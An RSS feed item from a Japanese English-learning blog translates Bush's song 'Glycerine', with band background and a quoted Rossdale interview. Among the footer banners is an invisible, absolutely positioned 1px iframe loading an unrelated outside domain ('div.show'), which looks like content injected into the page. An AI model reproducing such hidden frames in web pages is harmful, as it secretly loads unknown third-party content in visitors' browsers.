﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>Gavin Rossdale | たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/gavin-rossdale/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Sun, 28 Apr 2024 12:49:15 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa.png?fit=32%2C15&#038;ssl=1</url>
	<title>Gavin Rossdale | たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/gavin-rossdale/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>Bush 《Glycerine》対訳　爆弾にもなり得る恋愛を歌った90年代の名曲</title>
		<link>https://ffeng.jp/2020/01/30/glycerine/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Thu, 30 Jan 2020 00:04:55 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[1996年]]></category>
		<category><![CDATA[90年代の名曲]]></category>
		<category><![CDATA[a cynical world]]></category>
		<category><![CDATA[Alternative]]></category>
		<category><![CDATA[Bad moon]]></category>
		<category><![CDATA[Beatles]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Gavin Rossdale]]></category>
		<category><![CDATA[Gewn Stefani]]></category>
		<category><![CDATA[Glycerine]]></category>
		<category><![CDATA[Jasmine Lewis]]></category>
		<category><![CDATA[love was like a bomb]]></category>
		<category><![CDATA[No Doubt]]></category>
		<category><![CDATA[Post Grunge]]></category>
		<category><![CDATA[Sixteen Stone]]></category>
		<category><![CDATA[Strawberry Fields]]></category>
		<category><![CDATA[wheel]]></category>
		<category><![CDATA[まるでストロベリーフィールド]]></category>
		<category><![CDATA[アルバム]]></category>
		<category><![CDATA[アルバムチャート11位]]></category>
		<category><![CDATA[イギリス]]></category>
		<category><![CDATA[オルタナティブ]]></category>
		<category><![CDATA[ギャヴィン・ロスデイル]]></category>
		<category><![CDATA[グウェン・ステファニ]]></category>
		<category><![CDATA[グリセリン]]></category>
		<category><![CDATA[ジャスミン・ルイス]]></category>
		<category><![CDATA[ストロベリーフィールド]]></category>
		<category><![CDATA[ノー・ダウト]]></category>
		<category><![CDATA[ビルボード]]></category>
		<category><![CDATA[ビートルズファン]]></category>
		<category><![CDATA[ブッシュ]]></category>
		<category><![CDATA[ボーカル]]></category>
		<category><![CDATA[ポスト・グランジ]]></category>
		<category><![CDATA[型にはまらない]]></category>
		<category><![CDATA[大御所バンド]]></category>
		<category><![CDATA[無駄にする時間はない]]></category>
		<category><![CDATA[爆弾にもなりうる恋愛]]></category>
		<category><![CDATA[白く不吉な月]]></category>
		<category><![CDATA[皮肉な世界]]></category>
		<category><![CDATA[良く分からない歌]]></category>
		<category><![CDATA[輪廻]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1249</guid>

					<description><![CDATA[<p>先日、古いCDケースから出てきたブッシュ（Bush <a class="mh-excerpt-more" href="https://ffeng.jp/2020/01/30/glycerine/" title="Bush 《Glycerine》対訳　爆弾にもなり得る恋愛を歌った90年代の名曲">[...]</a></p>
The post <a href="https://ffeng.jp/2020/01/30/glycerine/">Bush 《Glycerine》対訳　爆弾にもなり得る恋愛を歌った90年代の名曲</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/01/uminohajimari/' title='【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/19/starren2/' title='「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>先日、古いCDケースから出てきた<strong>ブッシュ</strong>（<strong>Bush</strong>）の「<strong>Sixteen Stone</strong>」というアルバム。<br />
昔、お気に入りだったアルバムです。</p>
<p><strong>累計1000万枚</strong>以上の売上を誇るイギリスの大御所バンド、<strong>ブッシュ</strong>。1994年リリースのこのアルバムは、アメリカだけで<strong>600万枚</strong>のセールスを記録し、1996年ビルボードの年間アルバムチャート<strong>11位</strong>にランクインしました。彼らは当時主流だった<strong>ポスト・グランジ</strong>（<strong>Post Grunge</strong>）や<strong>オルタナティブ</strong>（<strong>Alternative</strong>）というジャンルに属し、その中でも群をぬいて人気のあった<strong>バンド</strong>でした。商業的な音楽から一線を画した反体制的でメロディーも歌詞も型にはまらない、早く言えば<strong>よく分からない音楽性</strong>が私にヒットしたのです。</p>
<p>今回ご紹介する《<strong>グリセリン</strong>（<strong>Glycerine</strong>)》もその「<strong>良く分からない歌</strong>」の代表格で、恋愛について歌っているのに何でいきなり<strong>グリセリン</strong>がでてくるんだ？！と悩み続けました。ボーカルの<strong>ギャヴィン・ロスデイル</strong>（<strong>Gavin Rossdale</strong>）が当時付き合っていた彼女<strong>ジャスミン・ルイス</strong>（<strong>Jasmine Lewis</strong>）との終わった恋を歌っているのですが、その後、結婚した<strong>ノー・ダウト</strong>（<strong>No Doubt</strong>）の<strong>グウェン・ステファニ</strong>（<strong>Gewn Stefani</strong>）とライブで2人で歌ったりと、随分あっけらかんとしてるな～、と思ったものです。その<strong>グウェン</strong>とも離婚していますが。</p>
<p>最近、<strong>ボーカル</strong>の<strong>ギャヴィン</strong>のインタビューを見つけ、何年か越しにその<strong>謎</strong>が解けました。</p>
<p>&nbsp;</p>
<blockquote><p>In &#8216;<strong>Glycerine</strong>,&#8217; it&#8217;s a<strong> cynical world</strong>. &#8216;<strong>Strawberry Fields</strong>&#8216; is a<strong> Beatles</strong> reference because when people think of that song it makes them happy: it elevates you and it lifts you up. For me, it&#8217;s like a soft pillow. Most of my lyrics and most of the songs that I&#8217;ve written are about <strong>rising up against struggle</strong> and<strong> what you do within problems</strong> like the human condition. How we can <strong>screw up</strong> and how we can <strong>make up for it</strong> and what we can <strong>escape from</strong> and <strong>what we can win</strong>. the song was about <strong>how love was like a bomb</strong>.</p>
<p><strong>グリセリン</strong>は<strong>皮肉な世界</strong>なんだ。<strong>ストロベリーフィールド</strong>は<strong>ビートルズファン</strong>にとって彼らを幸せにしてくれる聖地のようなものだ。俺にとっては柔らかい枕のようなものさ。俺の作る歌詞や音楽は<strong>困難や問題から立ち上がる姿</strong>をテーマにしたものが多いんだ。ど<strong>んな風に崩れてやり直し</strong>、<strong>何から逃げ出し</strong>、<strong>何に勝利しようとするか</strong>。この曲は、<strong>爆弾にもなりうる恋愛</strong>を歌ったんだ</p></blockquote>
<p>&nbsp;</p>
<p>それで爆弾の原料でもある<strong>グリセリン</strong>なんだ…、と。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-hollf3tgasm" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:678/509" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:75.073746%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-hollf3tgasm" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/hOllF3TgAsM?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/hOllF3TgAsM?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2020\/01\/30\/glycerine\/#arve-youtube-hollf3tgasm","type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/hOllF3TgAsM?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>
<h2>《Glycerine》 Bush</h2>
<p><strong>Must be your skin that I&#8217;m sinking in</strong><br />
<strong>Must be for real &#8216;cause now I can feel</strong><br />
<strong>And I didn&#8217;t mind</strong><br />
<strong>It&#8217;s not my kind</strong><br />
<strong>It&#8217;s not my time to wonder why</strong></p>
<p>俺が身体を沈めている肌はお前のものだろう<br />
嘘じゃない<br />
俺がそう感じているんだ<br />
俺のタイプじゃないとか<br />
なぜかなんて考えてる場合じゃないなんて<br />
そんなのどうでも良かったんだ</p>
<p><strong>Everything&#8217;s gone white</strong><br />
<strong>And everything&#8217;s grey</strong><br />
<strong>Now you&#8217;re here now you&#8217;re away</strong><br />
<strong>I don&#8217;t want this</strong><br />
<strong>Remember that</strong><br />
<strong>I&#8217;ll never forget where you&#8217;re at</strong><br />
<strong>Don&#8217;t let the days go by</strong></p>
<p>全てが白く<br />
灰色だ<br />
今お前はここにいるのに<br />
遠くにいるようだ<br />
こんなはずじゃなかった<br />
思い出してくれ<br />
お前のいる場所を絶対忘れたりしない<br />
時の流れに身を任せちゃだめだ</p>
<p><strong>Glycerin</strong></p>
<p>グリセリン</p>
<p><strong>I&#8217;m never alone</strong><br />
<strong>I&#8217;m alone all the time</strong><br />
<strong>Are you at one</strong><br />
<strong>Or do you lie</strong><br />
<strong>We live in a wheel</strong><br />
<strong>Where everyone steals</strong><br />
<strong>But when we rise it&#8217;s like strawberry fields</strong><br />
<strong>If I treated you bad</strong><br />
<strong>You bruise my face</strong><br />
<strong>Couldn&#8217;t love you more</strong><br />
<strong>You got a beautiful taste</strong></p>
<p>俺は決して一人じゃない<br />
でもいつも一人でいるようだ<br />
お前も同じかい？<br />
それとも嘘をついてるのか？<br />
輪廻のような人生<br />
誰もがうまくやっている<br />
まるで<strong>ストロベリーフィールド</strong>で目覚めるような感覚だ<br />
もし俺がお前をひどくあしらったら<br />
お前は俺の顔に痣ができるまで殴るだろう<br />
あれ以上お前を愛することができなかった<br />
お前が俺より遥かに良いセンスを持ってるから</p>
<p><strong>Don&#8217;t let the days go by</strong><br />
<strong>Could have been easier on you</strong><br />
<strong>I couldn&#8217;t change though I wanted to</strong><br />
<strong>Should I have been easier by three</strong><br />
<strong>Our old friend fear and you and me</strong></p>
<p>時の流れに身を任せちゃだめだ<br />
お前にもっと優しくできたはずなのに<br />
俺は変わりたかったのに<br />
長く俺たちを悩ませた不安という名の友と<br />
お前と俺<br />
3人ならうまくやれたはずなのに</p>
<p><strong>Glycerin</strong></p>
<p>グリセリン</p>
<p><strong>Don&#8217;t let the days go by…</strong><br />
<strong>Bad moon white again</strong><br />
<strong>Bad moon white again</strong><br />
<strong>And she falls around me</strong><br />
<strong>I needed you more</strong><br />
<strong>You wanted us less</strong><br />
<strong>I could not kiss just regress</strong><br />
<strong>It might just be</strong><br />
<strong>Clear simple and plain</strong><br />
<strong>That&#8217;s just fine</strong><br />
<strong>That&#8217;s just one of my names</strong><br />
<strong>Don&#8217;t let the days go by</strong><br />
<strong>Could&#8217;ve been easier on you, you, you</strong></p>
<p>時の流れに身を任せちゃだめだ<br />
白く不吉な月がまた昇る<br />
白く不吉な月がまた昇る<br />
俺のそばで眠る彼女<br />
もっと一緒にいたかったけど<br />
お前はそうではなかったんだ<br />
後戻りのキスはできない<br />
シンプルで簡単ならいいのに<br />
それでいいんだ<br />
それが俺なんだ<br />
お前にもっと優しくできたはずなのに<br />
時の流れに身を任せちゃだめだ</p>
<p><strong>Glycerine</strong></p>
<p>グリセリン</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>・<strong>strawberry fields：</strong>ストロベリーフィールドはビートルズの歌《<a href="https://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%88%E3%83%AD%E3%83%99%E3%83%AA%E3%83%BC%E3%83%BB%E3%83%95%E3%82%A3%E3%83%BC%E3%83%AB%E3%82%BA%E3%83%BB%E3%83%95%E3%82%A9%E3%83%BC%E3%82%A8%E3%83%90%E3%83%BC">ストロベリー・フィールズ・フォーエバー</a>》に登場する孤児院であり、ニューヨーク・セントラルパークにある<a href="https://ja.wikipedia.org/wiki/%E3%82%B9%E3%83%88%E3%83%AD%E3%83%99%E3%83%AA%E3%83%BC%E3%83%BB%E3%83%95%E3%82%A3%E3%83%BC%E3%83%AB%E3%82%BA_(%E8%A8%98%E5%BF%B5%E7%A2%91)">ジョンレノンの記念碑</a>の名でもある。</p>
<p><strong>・be easy on someone</strong>＝～に優しくする</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/www10.a8.net/0.gif?resize=1%2C1&#038;ssl=1" alt="" width="1" height="1" border="0" /><br />
<a href="//blog.with2.net/link/?2011927:3421"><img data-recalc-dims="1" decoding="async" title="英会話ランキング" src="https://i0.wp.com/blog.with2.net/img/banner/c/banner_1/br_c_3421_1.gif?w=678&#038;ssl=1" /></a><br />
<a style="font-size: 0.9em;" href="//blog.with2.net/link/?2011927:3421">英会話ランキング</a></p>
<p>&nbsp;</p>
<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&amp;linkname=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2020%2F01%2F30%2Fglycerine%2F&#038;title=Bush%20%E3%80%8AGlycerine%E3%80%8B%E5%AF%BE%E8%A8%B3%E3%80%80%E7%88%86%E5%BC%BE%E3%81%AB%E3%82%82%E3%81%AA%E3%82%8A%E5%BE%97%E3%82%8B%E6%81%8B%E6%84%9B%E3%82%92%E6%AD%8C%E3%81%A3%E3%81%9F90%E5%B9%B4%E4%BB%A3%E3%81%AE%E5%90%8D%E6%9B%B2" data-a2a-url="https://ffeng.jp/2020/01/30/glycerine/" data-a2a-title="Bush 《Glycerine》対訳　爆弾にもなり得る恋愛を歌った90年代の名曲"></a></p>The post <a href="https://ffeng.jp/2020/01/30/glycerine/">Bush 《Glycerine》対訳　爆弾にもなり得る恋愛を歌った90年代の名曲</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/01/uminohajimari/' title='【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/19/starren2/' title='「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編'>
